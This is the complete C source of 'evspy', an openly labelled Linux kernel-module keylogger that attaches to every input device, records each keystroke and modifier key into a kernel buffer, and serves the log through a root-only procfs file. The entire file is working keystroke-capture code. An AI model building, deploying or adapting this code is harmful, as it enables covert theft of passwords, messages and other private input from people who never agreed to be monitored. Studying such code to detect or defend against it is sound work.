/*
 *   evspy - event based keylogger (Linux module)
 *
 *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
 *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
 *
 * This file is part of evspy
 *
 * evspy is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * evspy is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
 */


#include "evspy.h"


DECLARE_KFIFO(cbuffer, char, EVS_BUFSIZE);
char fifo_buf[EVS_BUFSIZE];

static unsigned short int capslock_on = 0;
static unsigned short int shift_on = 0;
#ifdef EVS_ALTGR_ENABLED
static unsigned short int altgr_on = 0;
#endif


/*
 * Handle unknown/special key events
 */
static void special_char(unsigned int code, unsigned int value)
{
    char *sp_tag;
    int known = 1;

    // We need to know when some special keys are freed; add them here
    switch(code) {
    case KEY_LEFTSHIFT:
    case KEY_RIGHTSHIFT:
    case KEY_LEFTALT:
    case KEY_RIGHTALT:
    case KEY_LEFTCTRL:
    case KEY_RIGHTCTRL:
    case KEY_LEFTMETA:
    case KEY_RIGHTMETA:
        break;
    default:
        if (value == EVS_VAL_FREE)
            return;
    }

    switch(code) {
    case KEY_RIGHTSHIFT:
    case KEY_LEFTSHIFT:
        shift_on = value;
        return;
    case KEY_CAPSLOCK:
        capslock_on = !capslock_on;
        return;
    case KEY_LEFTALT:
        sp_tag = "[+ALT]";
        break;
    case KEY_RIGHTALT:
#ifdef EVS_ALTGR_ENABLED
        altgr_on = !altgr_on;
        return;
#else
        sp_tag = "[+ALTGR]";
        break;
#endif
    case KEY_LEFTCTRL:
    case KEY_RIGHTCTRL:
        sp_tag = "[+CTRL]";
        break;
    case KEY_LEFTMETA:
    case KEY_RIGHTMETA:
        sp_tag = "[+META]";
        break;
    case KEY_TAB:
        sp_tag = "[TAB]";
        break;
    case KEY_BACKSPACE:
        sp_tag = "[<<]";
        break;
    case KEY_ESC:
        sp_tag = "[ESC]";
        break;
    case KEY_UP:
        sp_tag = "[UP]";
        break;
    case KEY_DOWN:
        sp_tag = "[DOWN]";
        break;
    case KEY_LEFT:
        sp_tag = "[LEFT]";
        break;
    case KEY_RIGHT:
        sp_tag = "[RIGHT]";
        break;
    default:
        known = 0;
    }

    if (!known && evs_isfX(code))       // !known is redundant, but it saves cycles
        sp_tag = "[+FX]";
    else if (!known)
        return;

    if (value == EVS_VAL_PRESS && (sp_tag[1] == '+' || sp_tag[1] == '-'))
        sp_tag[1] = '+';
    else if (value == EVS_VAL_FREE)
        sp_tag[1] = '-';

    while (*sp_tag)
        evs_insert(&cbuffer, sp_tag++);
}

static void evspy_event(struct input_handle *handle, unsigned int type,
                        unsigned int code, int value)
{
    // Ignore non-key and hold events
    if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
        return;

        // Special/unknown keys (alt, ctrl, esc, shift, etc)
    } else if (code >= sizeof(map) || (map[code] == '.' &&
                                       likely(code != KEY_DOT))) {
        special_char(code, value);

        // "Immediate" keys (alphanumeric + some symbols)
    } else if (value == EVS_VAL_PRESS) {
#ifdef EVS_ALTGR_ENABLED
        if (altgr_on)
            evs_insert(&cbuffer, evs_altgr(code));
        else
#endif
            if (shift_on || capslock_on)
                evs_insert(&cbuffer, evs_shift(code));
            else
                evs_insert(&cbuffer, &map[code]);
    }
}

static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
                         const struct input_device_id *id)
{
    struct input_handle *handle;
    int error;

    handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
    if (!handle)
        return -ENOMEM;

    handle->dev = dev;
    handle->handler = handler;
    handle->name = EVS_NAME;

    error = input_register_handle(handle);
    if (error)
        goto err_free_handle;

    error = input_open_device(handle);
    if (error)
        goto err_unregister_handle;

    return 0;

 err_unregister_handle:
    input_unregister_handle(handle);
 err_free_handle:
    kfree(handle);
    return error;
}

static void evspy_disconnect(struct input_handle *handle)
{
    input_close_device(handle);
    input_unregister_handle(handle);
    kfree(handle);
}

static const struct input_device_id evspy_ids[] = {
    { .driver_info = 1 },       /* Matches all devices */
    { },                        /* Terminating zero entry */
};

MODULE_DEVICE_TABLE(input, evspy_ids);

static struct input_handler evspy_handler = {
    .event = evspy_event,
    .connect = evspy_connect,
    .disconnect = evspy_disconnect,
    .name = EVS_NAME,
    .id_table = evspy_ids,
};

/*
 * Executed when the procfs file is read (EVS_PROCNAME)
 */
static int evspy_proc_show(struct seq_file *m, void *v) /* TODO */
{
    if (!uid_eq(current_uid(), GLOBAL_ROOT_UID) ||
        !uid_eq(current_euid(), GLOBAL_ROOT_UID)) { // root only plz
#if EVS_TROLL == 1
        seq_printf(m, "Trololololo lololo lololo\n");
#else
        return -EPERM;
#endif
    } else {                    // copy fifo contents to the supplied buffer
        int n = kfifo_out(&cbuffer, fifo_buf, kfifo_size(&cbuffer));
        fifo_buf[n] = '\0';
        seq_puts(m, fifo_buf);
    }

    return 0;
}

static int evspy_proc_open(struct inode *inode, struct file *file)
{
    return single_open(file, evspy_proc_show, PDE_DATA(inode));
}

static const struct file_operations evspy_proc_fops = {
    .open = evspy_proc_open,
    .read = seq_read,
    .llseek = seq_lseek,
    .release = seq_release,
};

static int __init evspy_init(void)
{
    proc_create(EVS_PROCNAME, 0, NULL, &evspy_proc_fops);
    init_shiftmap();
#ifdef EVS_ALTGR_ENABLED
    init_altgrmap();
#endif
    INIT_KFIFO(cbuffer);
    return input_register_handler(&evspy_handler);
}

static void __exit evspy_exit(void)
{
    input_unregister_handler(&evspy_handler);
#ifdef EVS_ALTGR_ENABLED
    exit_altgrmap();
#endif
    exit_shiftmap();
    remove_proc_entry(EVS_PROCNAME, NULL);
}

module_init(evspy_init);
module_exit(evspy_exit);

MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_DESCRIPTION("Event based keylogger");
MODULE_LICENSE("GPL");
MODULE_VERSION("0.3");